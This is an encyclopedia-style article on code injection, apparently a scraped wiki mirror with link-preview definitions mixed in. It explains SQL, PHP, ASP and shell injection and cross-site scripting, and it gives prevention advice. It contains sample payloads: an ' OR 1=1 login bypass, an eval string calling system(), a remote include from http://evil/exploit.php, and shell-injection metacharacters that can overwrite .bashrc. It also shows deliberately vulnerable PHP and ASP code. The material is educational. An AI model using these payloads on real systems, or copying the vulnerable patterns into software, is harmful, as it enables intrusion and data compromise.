|
Code injection is a technique to introduce (or "inject") code into a computer program or system by taking advantage of the unenforced and unchecked assumptions the system makes about its inputs.
Classic examples of the assumptions a program might make about its input include:
- assuming punctuation like quotation marks or semi-colons would never appear in a value like a name, or
- assuming only numeric characters will be entered as input, or
- assuming the input will never exceed a certain size, or
- assuming an input would never lie about itself or other inputs (like the size of a fileǂ).
The purpose of the injected code is typically to bypass or modify the originally intended functionality of the program. When the functionality bypassed is system security, the results can be disastrous.
ǂ Many file formats begin by declaring how much data they hold, along with some other values, up front. Understating the amount of data in this declaration can lead to a buffer overrun in carelessly developed software. For example, a carelessly built web browser. This often exposes a code injection vulnerability. This is the premise behind many security vulnerabilities involving files, especially image and media files. In computer programming, a buffer overflow is an anomalous condition where a program somehow writes data beyond the allocated end of a buffer in memory. ...
Uses of Code Injection
Intentional Use
Malevolent Use of code injection is typically viewed as a malevolent action, and it often is. Code injection techniques are popular in system hacking or cracking to gain information, Privilege escalation or unauthorised access to a system. Hacker is a term used to describe different types of computer experts. ...
It has been suggested that this article or section be merged into black hat. ...
Privilege escalation is the act of exploiting a bug in an application to gain access to resources which normally would have been protected from an application or user. ...
Code injection can be used malevolently to:
- Arbitrarily modify values in a database through a type of code injection called SQL injection. The impact of this can range from defacement of a web site to serious comprimisation of sensitive data.
- Install malware on a computer by exploiting code injection vulnerabilties in a web browser or it's plugins when the user visits a malicious site.
- Install malware or execute malevolent code on a server, by PHP or ASP Injection.
- Privilege escalation to root permissions by exploiting Shell Injection vulnerabilties in a setuid root binary on UNIX.
- Privilege escalation to Local System permissions by exploiting Shell Injection vulnerabilties in a service on Windows.
- Stealing sessions/cookies from web browsers using HTML/Script Injection (Cross Site Scripting).
SQL injection is a security vulnerability that occurs in the database layer of an application. ...
In common usage, to deface something refers to the act of marking or removing the part of an object (especially images, be they on the page, in illustrative art or as sculpture) designed to hold the viewers attention. ...
Malware is software designed to infiltrate or damage a computer system, without the owners consent. ...
Malware is software designed to infiltrate or damage a computer system, without the owners consent. ...
Privilege escalation is the act of exploiting a bug in an application to gain access to resources which normally would have been protected from an application or user. ...
On many computer operating systems, superuser is the term used for the special user account that is controlled by the system administrator. ...
Setuid is a UNIX term, and is short for Set User ID. Setuid, also sometimes referred to as suid, is an access right flag that can be assigned to files and directories on a UNIX based operating system. ...
Privilege escalation is the act of exploiting a bug in an application to gain access to resources which normally would have been protected from an application or user. ...
On many computer operating systems, superuser is the term used for the special user account that is controlled by the system administrator. ...
Cross site scripting (XSS) is a type of computer security exploit where information from one context, where it is not trusted, can be inserted into another context, where it is. ...
Benevolent Code injection may be used with relatively good intention in some cases. For example, a user who wishes to change or tweak the behavior of a program or system to meet their needs might use code injection to trick the system into behaving the way they would like without "hurting anyone". For example: - Include a column in a search results page that wasn't included in the original design but saves a bunch of work now.
- Filter, order, or group data by a field not exposed in the default functionality.
Typically, users resort to this sort of work-around for one of these reasons: - Modifying the software to function as desired is impossible, or
- Modifying the software is prohibitively costly, or
- Modifying the software is a frustratingly painful process.
This use of code injection is heavily frowned upon by the development community as a whole, and is typically called a kludge or hack. To meet Wikipedias quality standards, this article or section may require cleanup. ...
Some software products allow or even promote the use of code injection to "enhance" their products. Usually this is because the code injection solution is less expensive to implement than new or specialized product features. The side effects and unaccounted implications of this can be very dangerous.
In general, the well-intentioned use of code injection is discouraged.
Unintentional Use Some users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example: - What the user may consider a valid input may contain token characters or character strings that have been reserved by the developer to have special meaning (perhaps the "&" in "Shannon & Jason", or quotation marks as in "Bub 'Slugger' McCracken").
- The user may submit a malformed file as input that is handled gracefully in one application, but is toxic to the recieving system.
Preventing Code Injection To prevent Code Injection problems, utilize Secure input and output handling, such as: Secure input (and output) handling are Secure programming techniques designed to prevent vulnerabilities or the exploitation of them. ...
- Input validation
- Input encoding
- Output encoding
- Other coding practices which are not prone to Code Injection vulnerabilities, such as "parameterized SQL queries" (also known as "prepared statements" and sometimes "bind variables").
Examples of Code Injection
SQL Injection SQL Injection Example: SQL injection is a security vulnerability that occurs in the database layer of an application. ...
A web page has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames: SQL (commonly expanded to Structured Query Language — see History for the terms derivation) is the most popular computer language used to create, modify and retrieve and manipulate data from relational database management systems. ...
SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'Password' If this query returns exactly one row, then access is granted. However, if the malicious user enters a valid Username and injects some valid code ("' OR 1=1") in the Password field, then the resulting query will look like this: SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'Password' OR '1'='1' In the example above, "Password" is assumed to be blank or some innocuous string. "1=1" will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.
PHP Injection "PHP Injection," "ASP Injection," et cetera are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "PHP Injection," the server side scripting engine is PHP.
In practice, PHP Injection is either the exploitation of "Dynamic Evaluation Vulnerabilities," "Include File Injection," or similar code injection vulnerabilties.
Dynamic Evaluation Vulnerabilities Steven M. Christey of mitre.org suggests this name for a class of code injection vulnerabilities.
Dynamic Evaluation Vulnerabilities - Eval Injection As defined in "Dynamic Evaluation Vulnerabilities in PHP applications": - An eval injection vulnerability occurs when an attacker can control
all or part of an input string that is fed into an eval() function call. Eval will execute the argument as code. The security implications for this are obvious. This issue has been known for years, but it is still under-researched.
Example:
$myvar = "varname"; $x = $_GET['arg']; eval("$myvar = $x;"); What happens if arg is set to "10 ; system("/bin/echo uh-oh");" ?
Dynamic Evaluation Vulnerabilities - Dynamic Variable Evaluation As defined in "Dynamic Evaluation Vulnerabilities in PHP applications": PHP supports "variable variables," which are variables or expressions that evaluate to the names of other variables [3]. They can be used to dynamically change which variable is accessed or set during execution of the program. This powerful and convenient feature is also dangerous.
A number of applications have code such as the following:
$safevar = "0"; $param1 = ""; $param2 = ""; $param3 = ""; # my own "register globals" for param[1,2,3] foreach ($_GET as $key => $value) { $$key = $value; } If the attacker provides "safevar=bad" in the query string, then $safevar will be set to the value "bad".
Dynamic Evaluation Vulnerabilities - Dynamic Function Evaluation The following PHP-examples will execute a function specified by request. $myfunc = $_GET['myfunc']; $myfunc(); and: $myfunc = $_GET['myfunc']; ${"myfunc"}();
Include File Injection Consider this PHP program (which includes a file specified by request): <?php $color = 'blue'; if ( isset( $_GET[ 'COLOR' ] ) ) $color = $_GET[ 'COLOR' ]; require( $color . '.php' ); ?> <form> <select name="COLOR"> <option value="red">red</option> <option value="blue">blue</option> </select> <input type="submit"> </form> The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject: - http://evil/exploit.php - a remotely hosted file containing an exploit.
- C:ftpuploadexploit.php - an uploaded file containing an exploit.
Shell Injection Shell Injection is named after Unix shells, but applies to most systems which allows software to programmatically execute Command line. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs. A Unix shell, also called the command line, provides the traditional user interface for the Unix operating system. ...
A command line interface or CLI is a method of interacting with a computer by giving it lines of textual commands (that is, a sequence of characters) either from keyboard input or from a script. ...
Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word)
<HTML> <?php passthru ( " /home/user/phpguru/funnytext " . $_GET[ 'USER_INPUT' ] ); ?> This program can be injected in multiple ways: - `command` will execute command.
- $(command) will execute command.
- ; command will execute command, and output result of command.
- | command will execute command, and output result of command.
- && command will execute command, and output result of command.
- || command will execute command, and output result of command.
- > /home/user/phpguru/.bashrc will overwrite file .bashrc.
- < /home/user/phpguru/.bashrc will send file .bashrc as input to funnytext.
PHP offers escapeshellarg() and escapeshellcmd() to perform encoding before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.
HTML/Script Injection (Cross Site Scripting) HTML/Script Injection is a popular subject, commonly termed "Cross Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the outputted HTML, without being checked for HTML code or scripting.
The two basic types are as follows:
Active (Type 1) This type of XSS flaw is less dangerous, as the user input is placed into a dynamically generated page. No changes are made on the server.
Passive (Type 2) This type is more dangerous, as the input is written to a static page, and as such, is persistant.
For more information, refer to the Cross Site Scripting (XSS) article. Cross site scripting (XSS) is a type of computer security exploit where information from one context, where it is not trusted, can be inserted into another context, where it is. ...
ASP Injection "ASP Injection", "PHP Injection" etc are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "ASP Injection", the server side scripting engine is Microsoft Active Server Pages, an add-on to Microsoft IIS. Active Server Pages (ASP) is Microsofts server-side technology for dynamically-generated web pages that is marketed as an add-on to Internet Information Services (IIS). ...
In practice, ASP Injection is either the exploitation of Dynamic Evaluation Vulnerabilities, Include File Injection or similar code injection vulnerabilties.
Example:
<% If not isEmpty(Request( "username" ) ) Then Const ForReading = 1, ForWriting = 2, ForAppending = 8 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True) f.Write Request("username") & vbCrLf f.close Set f = nothing Set fso = Nothing %> <h1>List of logged users:</h1> <pre> <% Server.Execute( "userlog.txt" ) %> </pre> <% Else %> <form> <input name="username" /><input type="submit" name="submit" /> </form> <% End If %> In this example, the user is able to insert a command instead of a username.
See also Debugging is a methodical process of finding and reducing the number of bugs, or defects, in a computer program or a piece of electronic hardware thus making it behave as expected. ...
In computer science, mobile code is a general term for any executable software program that is sent via some computer network from one computer to another to be executed at the destination. ...
A continuing function that uses systematic collection of data on specified indicators to provide management and the main stakeholders of an ongoing development intervention with indications of the extent of progress and achievement of objectives and progress in the use of allocated funds ...
SQL injection is a security vulnerability that occurs in the database layer of an application. ...
In the context of computer software, a Trojan horse is a malicious program that is disguised as legitimate software. ...
In computer security and programming, a buffer overflow, or buffer overrun, is an anomalous condition where a process attempts to store data beyond the boundaries of a buffer. ...
External links | 
Feeds |
Contact